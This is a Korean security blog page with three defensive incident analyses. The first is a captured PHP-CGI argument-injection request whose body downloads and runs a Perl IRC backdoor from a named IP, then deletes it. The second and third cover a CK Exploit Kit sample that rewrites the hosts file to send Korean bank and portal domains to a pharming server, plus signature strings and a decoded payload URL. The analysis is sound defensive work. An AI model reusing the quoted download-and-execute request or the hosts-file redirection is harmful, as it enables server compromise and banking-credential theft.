※ 아래 공개한 내용들은 학습과 사전차단을 통한 시스템 보호를 목적으로 하며, 부적절한 사용으로 인한 책임은 사용자 본인에게 있습니다.

또한 잘못된 내용이나, 추가 내용은 댓글을 통해 알려주시면 본문에 반영하도록 하겠습니다.


오늘은 매번 똑같은 공격패턴들만 보다가 나름 새로운 패턴을 보게됬습니다.

한 번의 공격에 여러 패턴을 이용하여 접근을 시도한 경우이고,

이런 경우 일부 보안 장비에서는 Multiple Signatures Attack로 탐지하기도 합니다.


우선 확인한 공격 당시의 HTTP 패킷 값입니다.


Post /cgi-bin/php4?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n HTTP/1.1

Host: ................

User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25

Content-Type: application/x-www-form-urlencoded

Content-Length: 187

Connection: close

<?php system("cd /tmp;lwp-download -a http://74.208.73.233/li.pdf;curl -O http://74.208.73.233/li.pdf;wget http://74.208.73.233/li.pdf; perl /tmp/li.pdf*;perl li.pdf;rm -rf /tmp/li.pdf*");=


cgi-bin취약점을 이용하여 보호기능 무력화를 시도하고 있으며, User-Agent를 봤을 때 아이패드를 사용하고 있다는 것을 추측할 수 있습니다.

물론 User-Agent야 얼마든지 수정 가능한 값이라고 하더라도요.

또 Post로 던진 Content값으로는 특정 서버에서 WebShell로 추정되는 pdf파일을 Bashshell Shock 취약점을 이용하여 다운로드 시도하고 있습니다.


Bashshell Shock 취약점을 이용하여 업로드 하려는 IP를 검색해보니 아래와 같습니다.



주소지는 미국에 있는 IP이고 해당 IP에 도메인이 걸려있습니다.

해당 도메인을 직접 접속하기엔 뭐가 있을지도 모르니 Malzilla라는 툴을 통해 접근해보겠습니다.



해당 도메인으로 접근시 검색했던 IP와 동일한 IP로 연결되는 것을 볼 수 있었고, 200 OK로 정상접근이 되지만, 빈 페이지인 것으로 보입니다.

아파치로 웹서버를 돌리고 있는 것을 볼 수 있는데 알려진 취약점이 있는 버전을 사용하고 있네요.


그리고 다음으로 역시 Malzilla를 통해 해당 서버에서 받아오는 li.pdf 파일을 살펴보겠습니다.


역시 파일 확장자만 pdf일 뿐이고 실제 내용은 Shell Script로 구성되어있습니다.

perl로 작성되어있고 이름마저 딱 써있네요. LinuxNet perlbot..

요즘 종종 보이는 bot인데 찾아보니 BLUECOAT에서 작년 9월에 Bashshell Shock 취약점을 이용하여 IRC Backdoor가 돌아다닌다고 적어뒀네요.

거기에 LinuxNet perlbot이 포함되어 있는걸 보니 공개된지는 얼마 안된건가 싶습니다.


virustotal에 해당 파일을 올려보니 이미 많은 백신에서 Backdoor, Shellbot으로 탐지를 하고 있었습니다



처음으로 파일이 업로드된게 2월 17일 00시경이었고 제가 탐지했던게 03시경이었으니 돌기 시작한지는 얼마 안된것 같습니다.

리눅스용이다보니 행위분석 등의 자세한 정보까지는 제공이 안 되네요.

대강 코드를 보면 IRC 서버와 클라이언트 설정을 하고 있으며, BLUECOAT에 적힌대로 IRC를 이용한 Backdoor인듯합니다.


모쪼록, 서버 관리자분들은 탐지장비가 있다면, Bashshell Shock에 해당하는 Signature 등록과 차단장비에 해당 파일을 다운로드 해오는 74.208.73.233 IP는 차단 설정을 하는 것이 좋겠습니다.


=========================================

<추가내용>

처음 해당 샘플을 접한건 2월 17일 03시 경이었으며, 추가로 확보한 샘플은 동일 서버(74.208.73.233)에서 md.org라는 파일명으로 배포되고 있습니다.



이 파일은 처음의 li.pdf파일과는 일부 설정값이 다르며, 이미 virustotal에 다양한 파일명으로 업로드가 된 것을 확인할 수 있습니다.



이 중 idex파일은 li.pdf파일을 배포하던 서버와 동일한 서버에도 존재하는 것으로 파악되었고, 따라서 현재 파악된 74.208.73.233 서버에 존재하는 IRC Backdoor로는 li.pdf, md.org, idex 파일입니다. 

이 외에도 더 있을 수 있으나 동일 서버에서 다수의 악성파일이 유포되고 있는 상황이므로, 차단 장비를 통해 해당 IP를 차단하는 것이 바람직해보입니다.


저작자 표시 비영리 변경 금지
신고


[Analysis] - CK 익스플로잇 킷 분석(CK Exploit Kit Analysis) -1


이전 글에 이어서 이번에는 분석환경에서 동적 분석 과정을 적어봤습니다.


3. 동적 분석

환경은 Windows7 초기 순정버전에 업데이트 패치도 없는 기본 버전입니다.

분석은 Sysinternals Suite의 Process Explorer, Procmon, TCPView입니다.

Process Explorer는 현재 실행중인 프로세스의 정보를 볼 수 있고,

Procmon은 과거 따로 존재하던 Filemon과 Netmon, Regmon을 하나로 통합시켰고,

파일과 레지스트리의 생성, 수정, 삭제, 네트워크 연결 정보 등을 볼 수 있습니다.

(Sysinternals : https://technet.microsoft.com/en-us/sysinternals/bb545021.aspx)


우선 간단히 Process Explorer에서의 모습입니다.

  3-1. dll.exe 실행 전


  3-2. dll.exe 실행 후


보시다시피 rundll32.exe가 추가된 것을 볼 수 있습니다.

하지만 속성 정보를 보면 다른 파일을 참조하고 있다는 것을 볼 수 있습니다.



Command line 항목에서 zzEki.dll을 참조하고 있습니다.

해당 경로에 역시 파일 생성이 된 것을 볼 수 있구요.


다음으로 TCPView를 통해 정보를 보도록 하겠습니다.


파일을 실행 직후 101.71.8.138로 연결을 시도하는 것을 볼 수 있습니다.



해당 IP주소는 중국으로 되어있구요.

대부분의 중국발 공격이 Unicom이라는 ISP업체와 항저우에 위치하던데, 작업장이라도 있는건가 싶네요.

그리고 domain을 localhost로 잡고 있는 것을 볼 수 있습니다.



실제로 ipconfig을 통해 DNS 정보를 본 결과 127.0.0.1과 8.8.8.8의 localhost와 Google의 DNS 서버로 변경되어있었습니다.

이것만 보더라도 파밍공격을 위해 DNS를 Localhost로 변경했고, hosts 파일을 이용하려고 한다는 것을 알 수 있습니다.


hosts 파일에 적힌 내용은 DNS서버에 쿼리보다 더 우선순위가 높기때문에 hosts 파일에 적힌 도메인들은 DNS 서버를 거치지 않게 됩니다.

그리고 공격자가 hosts파일에 지정한 것들 외에는 구글의 DNS 서버를 거치게하여 사용자는 정상적인 인터넷 서비스를 사용 중이라고 느끼게 됩니다.


지금까지 어떤 파일이 실행되고, 생기고, 정보가 변경되고...등의 사항들은 Procmon에서 수집을 하게됩니다.

하지만 악성코드들 외에도 기본적으로 윈도우에서 동작하는 작업들도 있기 때문에 이벤트양은 1초당 수 만줄이 넘을 때가 대부분입니다.

따라서 필터링 기능을 잘 이용하는게 핵심이라고 볼 수 있습니다.


저는 필터에서 dll.exe 실행시간 이후부터 5초 정도를 필터링해서 File -> Save -> .CSV 파일로 저장하여 엑셀에서 분석했습니다.

5초 정도를 필터링 걸고 보니 15000여 개의 이벤트가 쌓였네요.


15000줄이 넘는 이벤트에 대해 일일이 분석은 할 수 없으니 전체적인 흐름을 보도록하겠습니다.

우선 파일 실행 직후 101.71.8.138로 TCP 연결을 합니다.

이후 PC에 대한 스캔을 시작합니다.

디렉토리들에 대한 정보와 사융자에 대한 정보, 인터넷 사용 정보 등...

그리고 DNS 서버의 레지스트리 설정을 바꾸고, hosts 파일에 접근해서 다음 내용들을 추가합니다.

174.139.200.165    www.shinhan.com

174.139.200.165    search.daum.net

174.139.200.165    search.naver.com

174.139.200.165    www.kbstar.ccm

174.139.200.165    www.knbank.vo.kr

174.139.200.165    openbank.cu.vo.kr

174.139.200.165    www.busanbank.vo.kr

174.139.200.165    bamking.nonghyup.ccm

174.139.200.165    www.shinhan.ccm

174.139.200.165    www.wooribank.ccm

174.139.200.165    www.hanabank.ccm

174.139.200.165    www.epostbank.bo.kr

174.139.200.165    www.ibk.vo.kr

174.139.200.165    www.ibk.vo.kr

174.139.200.165    www.keb.vo.kr

174.139.200.165    www.kfcc.co.kr.ir

174.139.200.165    www.lottirich.co.ir

174.139.200.165    www.nlotto.co.ir

174.139.200.165    www.gmarket.net

174.139.200.165    nate.com

174.139.200.165    www.nate.com

174.139.200.165    daum.com

174.139.200.165    www.daum.net

174.139.200.165    daum.net

174.139.200.165    www.zum.com

174.139.200.165    zum.com

174.139.200.165    naver.com

174.139.200.165    www.nonghyup.com

174.139.200.165    www.naver.com

174.139.200.165    

174.139.200.165    www.nate.net

174.139.200.165    hanmail.net

174.139.200.165    www.hanmail.net

174.139.200.165    www.hanacbs.com

174.139.200.165    www.kfcc.co.kr

174.139.200.165    www.kfcc.vo.kr

174.139.200.165    www.daum.net

174.139.200.165    daum.net

174.139.200.165    www.kbstir.com

174.139.200.165    www.nonghuyp.com

174.139.200.165    www.shinhon.com

174.139.200.165    www.wooribank.com

174.139.200.165    www.ibk.co.kr

174.139.200.165    www.epostbenk.go.kr

174.139.200.165    www.keb.co.kr

174.139.200.165    www.citibank.co.kr

174.139.200.165    www.citibank.vo.kr

174.139.200.165    www.standardchartered.co.kr

174.139.200.165    www.standardchartered.vo.kr

174.139.200.165    www.suhyup-bank.ccm

174.139.200.165    www.suhyup-bank.com

174.139.200.165    www.kjbank.ccm

174.139.200.165    www.kjbank.com

174.139.200.165    openbank.cu.vo.kr

174.139.200.165    openbank.cu.co.kr

174.139.200.165    www.knbank.vo.kr

174.139.200.165    www.knbank.co.kr

174.139.200.165    www.busanbank.vo.kr

174.139.200.165    www.busanbank.co.ir

174.139.200.165    www.suhyup-bank.com

174.139.200.165    www.suhyup-bank.ccm

174.139.200.165    www.standardchartered.co.kr


국내 대부분의 유명 은행사들과 포털사이트 접근 시 이제 174.139.200.165라는 미국IP 쪽으로 접근을 하게 됩니다.

하지만 현재 저 IP는 접근이 안되고 있으며, 악성코드가 감염된 PC라면 은행이나 네이버에 접속 시 페이지를 찾을 수 없다는 메시지가 보입니다.


해당 파밍 사이트들이 살아있었다면, 어떤 식으로 정보를 가져가는지도 볼 수 있었을텐데 조금 아쉽게 됬네요.

이렇게 쭉 분석을 했는데 사실 이런 내용들은 virustotal에 악성코드만 업로드 하더라도 다 알 수 있는 정보가 됬습니다.

초기의 virustotal은 백신 엔진 탐지밖에 없었는데 말이죠..


더 많은 정보가 궁금하신 분들은 https://www.virustotal.com에서 dll.exe의 sha256 값인

8b0621cb875236a02d12cd2566e3eccdbec7af8c7c565a2524b5911e516d0ec2 를 검색해보세요.

혹은 여기를 클릭해서 바로 정보를 보실 수도 있습니다.


12일에 처음 dll.exe를 등록 당시 55개 엔진 중 31개가 탐지였는데 주로 Packer로 탐지됬었습니다.

현재 13일 오후 2시쯤에는 35개로 4개의 엔진에서 악성코드로 추가되었구요.




결국 이번 분석 내용들은 virustotal에서 모두 볼 수 있다는걸 느끼며..ㅠ

분석은 마무리 하도록 하겠습니다.







저작자 표시 비영리 변경 금지
신고

CK Exploit Kit, 일명 CK VIP Exploit Kit가 나온지는 꽤 시간이 흘렀고 이미 분석이 충분히 끝났다고 보여집니다.

하지만 제가 실제로 발생하는 공격에 CK Exploit Kit을 이용하는 것은 처음 접해봤기 때문에 오랜만에 분석을 해봤습니다.


1. 패킷 수집

해당 공격이 들어온 것은 침입탐지 장비를 통해서였으며, 

탐지 패턴은 '/*NB VIP*/'으로 일반적인 CK Exploit Kit가 가지는 패턴 중 하나입니다.

이 외에도 '/*jsnb vip*/', 'ck'라는 문자열이 발견 됩니다. 

침입탐지 장비의 특성상 모든 패킷을 수집하는 것이 아닌, 

탐지된 패턴으로부터 일정량만 수집하므로 중간이 잘린 형식의 패킷을 수집할 수 있었습니다.


  1-1. 첫번째 패킷


  1-2. 두번째 패킷



2. 패킷 분석

중간 내용이 잘린 패킷이므로 분석이라고 할 것 까지는 없으나, 

위 패킷은 내부의 사용자가 외부의 침해당한 홈페이지 접근 시 발생한 패킷입니다.

분석환경에서 동일한 홈페이지의 모든 링크를 클릭하다시피 하면서 패킷을 수집하였으나, 

해당 내용의 패킷은 수집할 수 없었습니다.


초기분석 당시는 몰랐으나 관련 기사를 통해 이전에 CK Exploit Kit이 한창 배포될 당시

특정 조건을 만족하면 랜덤하게 URL 리다이렉트를 한다는 사실을 알았습니다.

정말 조건이 안 맞아서였는지, 해당 코드가 있는 페이지를 못 찾은건지는 모르겠습니다.

(관련 기사 : http://dailysecu.com/news_view.php?article_id=6536)


패킷의 중간 내용이 잘려 있으므로, 난독화를 풀어서 실제 코드를 볼 수는 없었으나, 

코드의 마지막 부분에서 악성코드의 배포 URL로 추정되는 숫자 배열을 찾았습니다.



악성코드 배포지의 URL로 추정했던 이유는 

  (1) 악성코드는 탐지 회피를 위해 문자열을 아스키코드로 숫자화

  (2) 코드 중 악성코드 배포를 위한 URL이 존재할 것으로 추측

  (3) URL의 구조 중 'http://www'에서 'tt'와 '//','www'와 같이 반복되는 문자열들은 숫자코드도 동일하게 반복됨.

      위 코드에서는 275, 275가 tt에 해당하며, 206, 206이 //, www는 278, 278, 278로 표현되고있음.


이와 같은 이유로 URL로 추정하였고, 영어 T와 W는 아스키코드로 3차이가 나므로 275와 278은 T와 W로 확신했습니다.

275가 T 또는 t겠지만 다른 특수문자들도 표현되어야하므로 소문자라고 생각하고 275에서 소문자 t의 아스키 값인 116을 빼봤습니다.

159가 나오며 해당 숫자코드들에서 -159를 한 뒤 아스키 코드에 대입해보면 악성코드 배포 URL이 나올 것으로 생각했습니다.


위 공격이 탐지되었을 당시에는 분석도구도 없고 Python을 설치할 수도 없는 상황이라 MS의 만능도구인 엑셀로 해결을 했습니다 =)

  (1) 엑셀 -> 데이터 -> 텍스트 나누기 -> 쉼표 체크 -> 코드 붙여넣기

  (2) =char(A1-159)와 같은 함수를 통해 숫자를 아스키 코드로 변환


※ 악성코드 배포처가 국내 업체의 URL이므로 모자이크 처리하였습니다.


예상처럼 dll.exe 파일을 다운로드 시도하는 것을 볼 수 있습니다.

현재도 계속 배포 중이며 해당 홈페이지 및 악성코드는 Kisa에 신고한 상태입니다.

virustotal에는 아직 등록되지 않은 악성코드였으며, 호스트 파일 변조를 통한 국내 유명 은행사들을 파밍사이트로 연결시키고 있었습니다.



원래는 파일의 동적 분석까지 하고 끝낼 생각이었으나..

호스트 파일 분석도 추가하고, 피싱사이트 분석도 하게 생겼습니다.

그래서 이후의 분석 내용들은 두번째 글로 넘기겠습니다.. =)





저작자 표시 비영리 변경 금지
신고
  1. 민이 2016.01.24 12:17 신고

    안녕하세요~~

    인사드립니당

+ Recent posts

티스토리 툴바